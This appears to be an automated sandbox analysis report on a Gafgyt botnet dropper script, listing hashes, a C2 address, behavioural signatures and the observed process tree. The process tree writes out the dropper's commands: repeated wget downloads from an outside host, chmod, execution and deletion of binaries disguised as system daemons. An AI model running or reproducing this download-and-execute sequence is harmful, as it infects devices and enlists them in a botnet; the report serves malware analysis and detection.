Analysis
- max time kernel
148s - max time network
152s - platform
debian-9_armhf - resource
debian9-armhf-20240611-en - resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
04/08/2024, 16:14
Static task
static1
Behavioral task
behavioral1
Sample
ktnz.sh
Resource
ubuntu1804-amd64-20240508-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
ktnz.sh
Resource
debian9-armhf-20240611-en
6 signatures
150 seconds
Behavioral task
behavioral3
Sample
ktnz.sh
Resource
debian9-mipsbe-20240611-en
4 signatures
150 seconds
General
- Target ktnz.sh
- Size 1KB
- Sample240804-tpmnpsyhqm
- SHA256 b231cfb1a825075213f6f8db5b2e08c95bd21d8024982c14f11bf58c57b60c35
- MD5 3fc64e3936a4b45bf386c70f720177c6
- SHA1 6ede20b1c8732aeb3fb435a885f87a5836095f4e
- SHA512 ada5ee2ad8da630a4901f92456db5fa80698afe57be881ee4f1ea0c7cb139acb093950d6694dcdf09e939985cfa20d329941110cbf33b061847db01d6ebef7f8
- MD5 SHA1 SHA512
Malware Config
Extracted
Family
-
gafgyt
C2
-
93.123.85.176:4444
Signatures
- Detected Gafgyt variant 1 IoCs
resource yara_rule behavioral2/files/fstream-1.dat family_gafgyt - Executes dropped EXE 1 IoCs
ioc pid Process /tmp/tftp 706 tftp - Reads system routing table 1 TTPs 1 IoCs
Gets active network interfaces from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/route tftp - Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/route tftp - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/tftp wget
Processes
-
/tmp/ktnz.sh/tmp/ktnz.sh1⤵PID:658
-
/usr/bin/wgetwget http://93.123.85.176/ntpd2⤵PID:666
-
-
/bin/chmodchmod +x ntpd2⤵PID:672
-
-
/tmp/ntpd./ntpd2⤵PID:674
-
-
/bin/rmrm -rf ntpd2⤵PID:676
-
-
/usr/bin/wgetwget http://93.123.85.176/sshd2⤵PID:678
-
-
/bin/chmodchmod +x sshd2⤵PID:684
-
-
/tmp/sshd./sshd2⤵PID:686
-
-
/bin/rmrm -rf sshd2⤵PID:688
-
-
/usr/bin/wgetwget http://93.123.85.176/openssh2⤵PID:689
-
-
/bin/chmodchmod +x openssh2⤵PID:692
-
-
/tmp/openssh./openssh2⤵PID:693
-
-
/bin/rmrm -rf openssh2⤵PID:694
-
-
/usr/bin/wgetwget http://93.123.85.176/bash2⤵PID:696
-
-
/bin/chmodchmod +x bash2⤵PID:699
-
-
/tmp/bash./bash2⤵PID:701
-
-
/bin/rmrm -rf bash2⤵PID:702
-
-
/usr/bin/wgetwget http://93.123.85.176/tftp2⤵
- Writes file to tmp directory
PID:703
-
-
/bin/chmodchmod +x tftp2⤵PID:705
-
-
/tmp/tftp./tftp2⤵
- Executes dropped EXE
- Reads system routing table
- Reads system network configuration
PID:706
-
-
/bin/rmrm -rf tftp2⤵PID:709
-
-
/usr/bin/wgetwget http://93.123.85.176/wget2⤵PID:710
-
-
/bin/chmodchmod +x wget2⤵PID:711
-
-
/tmp/wget./wget2⤵PID:712
-
-
/bin/rmrm -rf wget2⤵PID:713
-
-
/usr/bin/wgetwget http://93.123.85.176/cron2⤵PID:714
-
-
/bin/chmodchmod +x cron2⤵PID:715
-
-
/tmp/cron./cron2⤵PID:716
-
-
/bin/rmrm -rf cron2⤵PID:717
-
-
/usr/bin/wgetwget http://93.123.85.176/ftp2⤵PID:718
-
-
/bin/chmodchmod +x ftp2⤵PID:719
-
-
/tmp/ftp./ftp2⤵PID:720
-
-
/bin/rmrm -rf ftp2⤵PID:721
-
-
/usr/bin/wgetwget http://93.123.85.176/pftp2⤵PID:722
-
-
/bin/chmodchmod +x pftp2⤵PID:732
-
-
/tmp/pftp./pftp2⤵PID:734
-
-
/bin/rmrm -rf pftp2⤵PID:735
-
-
/usr/bin/wgetwget http://93.123.85.176/sh2⤵PID:736
-
-
/bin/chmodchmod +x sh2⤵PID:739
-
-
/tmp/sh./sh2⤵PID:741
-
-
/bin/rmrm -rf sh2⤵PID:742
-
-
/usr/bin/wgetwget "http://93.123.85.176/[cpu]"2⤵PID:744
-
-
/bin/chmodchmod +x "[cpu]"2⤵PID:747
-
-
/tmp/[cpu]"./[cpu]"2⤵PID:748
-
-
/bin/rmrm -rf "[cpu]"2⤵PID:749
-
-
/usr/bin/wgetwget http://93.123.85.176/apache22⤵PID:750
-
-
/bin/chmodchmod +x apache22⤵PID:753
-
-
/tmp/apache2./apache22⤵PID:754
-
-
/bin/rmrm -rf apache22⤵PID:755
-
-
/usr/bin/wgetwget http://93.123.85.176/telnetd2⤵PID:757
-
-
/bin/chmodchmod +x telnetd2⤵PID:760
-
-
/tmp/telnetd./telnetd2⤵PID:762
-
-
/bin/rmrm -rf telnetd2⤵PID:763
-
-
/usr/bin/wgetwget http://93.123.85.176/ktn.armv7l2⤵PID:764
-
-
/bin/chmodchmod +x ktn.armv7l2⤵PID:767
-
-
/tmp/ktn.armv7l./ktn.armv7l2⤵PID:768
-
-
/bin/rmrm -rf ktn.armv7l2⤵PID:769
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/tftp
- Size 166KB
- SHA256 f4c6c78133a5ee74725fb280414427441a8f2918744bf6fa87cdc8df6a27a9f4
- MD5 b385b7868eb303427548ec8794df6a36
- SHA1 30f556fc835edd6a427d68c8a09cb2aca636261b
- SHA512 002783d45c7e9e5420b9d7c8d5dbc71792b995b31f79e9d210b213da3d7d7d1480d6a91bef1a9e3553311cbed2cb83db6a5190ad989164b4bb63ffad946b2501
- SSDEEP 3072:qdWf1Jl2B2DSaGjBAu4kP3jkRx15hFDjU66aYvhGoxmfQOYbr5Wn:6cJDSaYBA/Rx15hFU66xxmfQOYbr5Wn
- MD5 SHA1 SHA512 SSDEEP